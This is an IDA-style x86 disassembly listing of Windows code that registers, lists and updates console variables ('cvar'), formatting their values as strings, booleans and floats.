push offset SEH_40B2F0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
mov esi, ecx
lea ecx, [esi+8Eh]
call sub_401C03
push 0
push 14h
push 13h
push 9
push 0Ch
push 4Eh
push 12h
push 1
push 16h
lea eax, [esp+64h+var_3C]
push 3
push eax
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_4017EE
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
sub_40B2F0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 14h
push 5
push 7
push 4Fh
push 12h
push 1
push 16h
lea edx, [esp+24h]
push 3
push edx
call sub_4019C4
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+40h], 1
call sub_4017EE
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 14h
push 5
push 13h
push 4Eh
push 12h
push 1
push 16h
lea ecx, [esp+3Ch]
push 3
push ecx
call sub_4019C4
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+40h], 2
call sub_4017EE
add esi, 60h
push eax
push esi
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
mov dword ptr [esp+3Ch], 0FFFFFFFFh
lea ecx, [esp+1Ch]
call sub_401226
mov ecx, [esp+34h]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40B470 proc near ; CODE XREF: sub_40181Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = byte ptr 14h
arg_14 = byte ptr 18h
arg_18 = dword ptr 1Ch
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push edi
mov ecx, [esp+8+arg_0]
push eax
add ecx, 1Eh
call sub_401FDC
mov eax, [esp+8+arg_0]
mov edx, [esp+8+arg_C]
push edx
lea ecx, [eax+33h]
call sub_401FDC
mov ecx, [esp+8+arg_0]
mov dl, [esp+8+arg_10]
mov edi, [esp+8+arg_8]
mov [ecx+48h], dl
mov eax, [esp+8+arg_0]
push edi
push eax
mov ecx, esi
call sub_401F50
mov ecx, [esp+8+arg_0]
mov dl, [esp+8+arg_14]
push edi
mov [ecx+4], dl
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_18]
mov [eax+5], ecx
mov ecx, [esp+0Ch+arg_0]
call sub_401FDC
lea edx, [esp+8+arg_0]
lea ecx, [esi+8Eh]
push edx
call sub_401915
sub_40B470 endp
; ---------------------------------------------------------------------------
pop edi
pop esi
retn 1Ch
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40B510 proc near ; CODE XREF: sub_401B72j
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
arg_18 = dword ptr 1Ch
push 0FFFFFFFFh
push offset SEH_40B510
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 48h
mov eax, [esp+54h+arg_C]
push ebp
push esi
mov esi, ecx
push edi
push eax
lea ecx, [esp+64h+var_24]
call sub_401870
mov edi, eax
mov ecx, [esp+60h+arg_8]
mov [esp+60h+var_4], 0
push ecx
lea ecx, [esp+64h+var_3C]
call sub_401870
mov ebp, eax
mov edx, [esp+60h+arg_4]
lea ecx, [esp+60h+var_54]
push edx
mov byte ptr [esp+64h+var_4], 1
call sub_401870
mov ecx, [esp+60h+arg_18]
mov edx, [esp+60h+arg_14]
push ecx
mov ecx, [esp+64h+arg_10]
push edx
mov edx, [esp+68h+arg_0]
push ecx
push edi
push ebp
push eax
push edx
mov ecx, esi
mov byte ptr [esp+7Ch+var_4], 2
call sub_40181B
sub_40B510 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov byte ptr [esp+5Ch], 1
call sub_401226
lea ecx, [esp+24h]
mov byte ptr [esp+5Ch], 0
call sub_401226
lea ecx, [esp+3Ch]
mov dword ptr [esp+5Ch], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+54h]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
add esp, 54h
retn 1Ch
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B600 proc near ; CODE XREF: sub_4019DDj
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 8
push esi
mov esi, ecx
push edi
lea ecx, [esp+10h+var_8]
call sub_401546
add esi, 8Eh
lea eax, [esp+10h+var_4]
push eax
mov ecx, esi
call sub_40145B
mov ecx, [eax]
lea edx, [esp+10h+var_4]
mov [esp+10h+var_8], ecx
push edx
mov ecx, esi
call sub_401C85
push eax
lea ecx, [esp+14h+var_8]
call sub_40136B
test al, al
jz short loc_40B681
mov edi, [esp+10h+arg_0]
loc_40B646: ; CODE XREF: sub_40B600+7Fj
push edi
lea ecx, [esp+14h+var_8]
call sub_401F78
mov ecx, [eax]
add ecx, 1Eh
call sub_4021D0
test eax, eax
lea ecx, [esp+10h+var_8]
jz short loc_40B68B
call sub_40133E
lea eax, [esp+10h+var_4]
mov ecx, esi
push eax
call sub_401C85
push eax
lea ecx, [esp+14h+var_8]
call sub_40136B
test al, al
jnz short loc_40B646
loc_40B681: ; CODE XREF: sub_40B600+40j
pop edi
xor eax, eax
pop esi
add esp, 8
retn 8
; ---------------------------------------------------------------------------
loc_40B68B: ; CODE XREF: sub_40B600+60j
call sub_401F78
mov eax, [eax]
pop edi
pop esi
add esp, 8
retn 8
sub_40B600 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B6D0: ; CODE XREF: ___:00401460j
push 0FFFFFFFFh
push offset loc_439EF8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
mov eax, [esp+28h]
push esi
mov esi, ecx
push eax
lea ecx, [esp+8]
call sub_401870
mov ecx, [esp+30h]
mov dword ptr [esp+24h], 0
push ecx
push eax
mov ecx, esi
call sub_4019DD
lea ecx, [esp+4]
mov esi, eax
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 24h
retn 8
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B760 proc near ; CODE XREF: sub_4015A0j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_4015E1
mov ecx, esi
call sub_4017EE
push eax
call near ptr 77C1CF90h
nop
fstp dword ptr [esi+15h]
add esp, 4
mov ecx, esi
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
mov ecx, esi
mov [esi+1Ah], eax
mov byte ptr [esi+19h], 0
push offset aTrue ; "true"
call sub_4012EE
test eax, eax
jnz short loc_40B7B1
mov byte ptr [esi+19h], 1
loc_40B7B1: ; CODE XREF: sub_40B760+4Bj
pop esi
retn 8
sub_40B760 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B7E0 proc near ; CODE XREF: sub_401F50j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
mov ecx, esi
mov eax, [edi+9]
push eax
call sub_4015E1
mov ecx, esi
call sub_4017EE
push eax
nop
call near ptr 77C1CF90h
fstp dword ptr [esi+15h]
add esp, 4
mov ecx, esi
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
mov ecx, esi
mov [esi+1Ah], eax
mov byte ptr [esi+19h], 0
push offset aTrue ; "true"
call sub_4012EE
test eax, eax
jnz short loc_40B835
mov byte ptr [esi+19h], 1
loc_40B835: ; CODE XREF: sub_40B7E0+4Fj
mov cl, [edi+4]
mov [esi+4], cl
mov edx, [edi+5]
mov [esi+5], edx
pop edi
pop esi
retn 8
sub_40B7E0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B870: ; CODE XREF: ___:00401D57j
fld dword ptr [esp+8]
push esi
mov esi, [esp+8]
sub esp, 8
fstp qword ptr [esp]
push offset aF ; "%f"
push esi
call sub_40102D
mov eax, [esp+1Ch]
add esp, 10h
mov ecx, esi
mov [esi+15h], eax
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
fld dword ptr [esp+10h]
fcomp flt_43F024
mov [esi+1Ah], eax
add esp, 4
mov byte ptr [esi+19h], 0
fnstsw ax
test ah, 1
jnz short loc_40B8C1
mov byte ptr [esi+19h], 1
loc_40B8C1: ; CODE XREF: ___:0040B8BBj
pop esi
retn 8
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B8F0: ; CODE XREF: ___:00401CA8j
push ebx
mov bl, [esp+0Ch]
test bl, bl
push esi
jz short loc_40B920
mov esi, [esp+0Ch]
push offset aTrue ; "true"
mov ecx, esi
call sub_4015E1
mov dword ptr [esi+15h], 3F800000h
mov dword ptr [esi+1Ah], 1
mov [esi+19h], bl
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_40B920: ; CODE XREF: ___:0040B8F8j
mov esi, [esp+0Ch]
push offset aFalse ; "false"
mov ecx, esi
call sub_4015E1
xor eax, eax
mov [esi+19h], bl
mov [esi+15h], eax
mov [esi+1Ah], eax
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B960: ; CODE XREF: ___:00401D7Fj
push esi
mov esi, [esp+8]
push edi
mov edi, [esp+10h]
push edi
push offset dword_4447F4
push esi
call sub_40102D
fild dword ptr [esp+1Ch]
add esp, 0Ch
cmp edi, 1
mov [esi+1Ah], edi
mov byte ptr [esi+19h], 0
fstp dword ptr [esi+15h]
jl short loc_40B990
mov byte ptr [esi+19h], 1
loc_40B990: ; CODE XREF: ___:0040B98Aj
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B9B0: ; CODE XREF: ___:loc_401AE1j
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_439F30
push eax
mov large fs:0, esp
sub esp, 4Ch
push ebx
push ebp
push esi
mov esi, [esp+68h]
mov ebp, ecx
push edi
lea edi, [esi+7Eh]
lea ecx, [ebp+4]
call sub_4014DD
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_40BAF2
lea ebx, [esi+69h]
mov ecx, ebx
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push offset aCvar ; "(cvar)"
push eax
push ecx
mov ecx, offset byte_4D8085
call sub_401118
lea ecx, [esp+6Ch]
call sub_401546
add ebp, 8Eh
lea edx, [esp+10h]
push edx
mov ecx, ebp
xor edi, edi
call sub_40145B
mov eax, [eax]
lea ecx, [esp+10h]
push ecx
mov ecx, ebp
mov [esp+70h], eax
call sub_401C85
push eax
lea ecx, [esp+70h]
call sub_40136B
test al, al
jz loc_40BAEB
loc_40BA56: ; CODE XREF: ___:0040BAE5j
lea ecx, [esp+6Ch]
inc edi
call sub_401F78
mov ecx, [eax]
add ecx, 33h
call sub_4017EE
push eax
lea ecx, [esp+70h]
call sub_401F78
mov ecx, [eax]
call sub_4017EE
push eax
lea ecx, [esp+74h]
call sub_401F78
mov ecx, [eax]
add ecx, 1Eh
call sub_4017EE
push eax
push edi
push offset aDSSS ; "[%d] \"%s\" = \"%s\" (\"%s\")"
mov ecx, ebx
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8085
call sub_401857
add esp, 24h
push 5DCh
nop
call near ptr 2830000h
lea ecx, [esp+6Ch]
call sub_40133E
lea ecx, [esp+10h]
push ecx
mov ecx, ebp
call sub_401C85
push eax
lea ecx, [esp+70h]
call sub_40136B
test al, al
jnz loc_40BA56
loc_40BAEB: ; CODE XREF: ___:0040BA50j
mov al, 1
jmp loc_40BC7A
; ---------------------------------------------------------------------------
loc_40BAF2: ; CODE XREF: ___:0040B9E7j
lea ecx, [ebp+32h]
call sub_4017EE
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_40BB85
push offset asc_444600 ; " "
lea edx, [esp+30h]
push 1
push edx
mov ecx, esi
call sub_4016B8
push 1
push eax
mov ecx, ebp
mov dword ptr [esp+6Ch], 0
call sub_4019DD
lea ecx, [esp+2Ch]
mov edi, eax
mov dword ptr [esp+64h], 0FFFFFFFFh
call sub_401226
test edi, edi
jz loc_40BC78
mov ecx, edi
call sub_4017EE
push eax
lea ecx, [edi+1Eh]
call sub_4017EE
push eax
push offset aSS_5 ; "%s = \"%s\""
lea ecx, [esi+69h]
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D8085
call sub_401857
add esp, 1Ch
jmp loc_40BC7A
; ---------------------------------------------------------------------------
loc_40BB85: ; CODE XREF: ___:0040BB04j
lea ecx, [ebp+60h]
call sub_4014DD
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_40BC78
push offset asc_444600 ; " "
lea edx, [esp+30h]
push 1
push edx
mov ecx, esi
call sub_4016B8
push 1
push eax
mov ecx, ebp
mov dword ptr [esp+6Ch], 1
call sub_4019DD
lea ecx, [esp+2Ch]
mov edi, eax
mov dword ptr [esp+64h], 0FFFFFFFFh
call sub_401226
test edi, edi
jz loc_40BC78
push edi
lea ecx, [esp+18h]
call sub_4014D3
mov ebx, 2
push 1
push offset asc_444600 ; " "
lea eax, [esp+4Ch]
push ebx
push eax
mov ecx, esi
mov [esp+74h], ebx
call sub_4011EA
push eax
push edi
mov ecx, ebp
mov byte ptr [esp+6Ch], 3
call sub_401F50
lea ecx, [esp+44h]
mov [esp+64h], bl
call sub_401226
lea ecx, [esp+14h]
call sub_4017EE
push eax
mov ecx, edi
call sub_4017EE
push eax
lea ecx, [edi+1Eh]
call sub_4017EE
push eax
push offset aSSWasS ; "%s = \"%s\" [was \"%s\"]"
lea ecx, [esi+69h]
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D8085
call sub_401857
add esp, 20h
lea ecx, [esp+14h]
mov dword ptr [esp+64h], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp short loc_40BC7A
; ---------------------------------------------------------------------------
loc_40BC78: ; CODE XREF: ___:0040BB40j
; ___:0040BB97j ...
xor al, al
loc_40BC7A: ; CODE XREF: ___:0040BAEDj
; ___:0040BB80j ...
mov ecx, [esp+5Ch]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 58h
retn 4
; ---------------------------------------------------------------------------
db 90h
db 0C0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40BD50 proc near ; CODE XREF: sub_401C08j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_4021EE
sub_40BD50 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40BD90 proc near ; CODE XREF: sub_40155Fj
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401C85
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_40145B
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40124E
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401FEB
sub_40BD90 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BE00 proc near ; CODE XREF: sub_40145Bj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
push eax
call sub_402117
mov ecx, [eax]
add esp, 4
push ecx
lea ecx, [esp+8+var_4]
call sub_4014B0
mov edx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], edx
pop ecx
retn 4
sub_40BE00 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BE40 proc near ; CODE XREF: sub_401C85j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
lea ecx, [esp+4+var_4]
push eax
call sub_4014B0
mov ecx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], ecx
pop ecx
retn 4
sub_40BE40 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40BE70 proc near ; CODE XREF: sub_401915j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_401C85
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401C5D
sub_40BE70 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BEB0 proc near ; CODE XREF: sub_401C03j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401C85
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_40145B
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40124E
pop esi
add esp, 0Ch
retn
sub_40BEB0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BF00 proc near ; CODE XREF: sub_401546j
push esi
mov esi, ecx
call sub_402158
mov eax, esi
pop esi
retn
sub_40BF00 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BF20 proc near ; CODE XREF: sub_401F78j
mov eax, [ecx]
push eax
call sub_401848
add esp, 4
retn
sub_40BF20 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BF40 proc near ; CODE XREF: sub_40133Ej
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_402117
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_40BF40 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BF70 proc near ; CODE XREF: sub_40136Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401CFD
neg al
sbb eax, eax
inc eax
retn 4
sub_40BF70 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40BFA0 proc near ; CODE XREF: sub_401C5Dj
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_4016AE
mov edi, eax
push edi
call sub_40215D
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_4021EE
sub_40BFA0 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_40215D
push edi
mov [eax], ebx
call sub_40215D
mov edi, [eax]
push edi
call sub_40215D
mov ecx, [eax]
push ecx
call sub_402117
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_401848
add esp, 4
mov ecx, esi
push eax
call sub_401F32
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
lea ecx, [esp+1Ch]
call sub_4014B0
mov ecx, [eax]
mov eax, [esp+10h]
pop edi
pop esi
mov [eax], ecx
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C040 proc near ; CODE XREF: sub_40124Ej
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_40136B
test al, al
jz short loc_40C09A
loc_40C058: ; CODE XREF: sub_40C040+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_401B9A
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_40106E
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_40136B
test al, al
jnz short loc_40C058
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_40C09A: ; CODE XREF: sub_40C040+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_40C040 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C0D0 proc near ; CODE XREF: sub_4021EEj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_401569
sub_40C0D0 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_40C0E5
mov edi, esi
loc_40C0E5: ; CODE XREF: ___:0040C0E1j
push esi
call sub_402117
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_40C0FA
mov edi, esi
loc_40C0FA: ; CODE XREF: ___:0040C0F6j
push esi
call sub_40215D
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C120 proc near ; CODE XREF: sub_401FEBj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_402077
sub_40C120 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C140 proc near ; CODE XREF: sub_402117j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_40C140 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C160 proc near ; CODE XREF: sub_401848j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_40C160 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C180 proc near ; CODE XREF: sub_402158j
mov eax, ecx
retn
sub_40C180 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C1A0 proc near ; CODE XREF: sub_4014B0j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_40105A
mov eax, esi
pop esi
retn 4
sub_40C1A0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C1D0 proc near ; CODE XREF: sub_401CFDj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_40C1D0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C200 proc near ; CODE XREF: sub_40106Ej
var_4 = byte ptr -4
arg_4 = byte ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_401B9A
mov ecx, eax
call sub_4016AE
mov esi, eax
push esi
call sub_402117
push esi
mov ebx, eax
call sub_40215D
mov ecx, [eax]
push ecx
call sub_402117
mov edx, [ebx]
push esi
mov [eax], edx
call sub_40215D
push esi
mov ebx, eax
call sub_402117
mov eax, [eax]
push eax
call sub_40215D
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_401848
add esp, 1Ch
mov ecx, edi
push eax
call sub_401221
push esi
mov ecx, edi
call sub_401FEB
sub_40C200 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C2C0 proc near ; CODE XREF: sub_40215Dj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_40C2C0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C2E0 proc near ; CODE XREF: sub_401569j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D2A
sub_40C2E0 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C310 proc near ; CODE XREF: sub_402077j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_40C310 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C330 proc near ; CODE XREF: sub_401F32j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_4011AE
add esp, 8
retn 8
sub_40C330 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C360 proc near ; CODE XREF: sub_40105Aj
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_40C360 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C380 proc near ; CODE XREF: sub_4016AEj
mov eax, [ecx]
retn
sub_40C380 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C3A0 proc near ; CODE XREF: sub_401B9Aj
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_40133E
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_40C3A0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C3D0 proc near ; CODE XREF: sub_401221j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_2
pop ecx
retn 4
sub_40C3D0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C3F0 proc near ; CODE XREF: sub_4011AEj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_40C40B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_40C40B: ; CODE XREF: sub_40C3F0+11j
retn
sub_40C3F0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
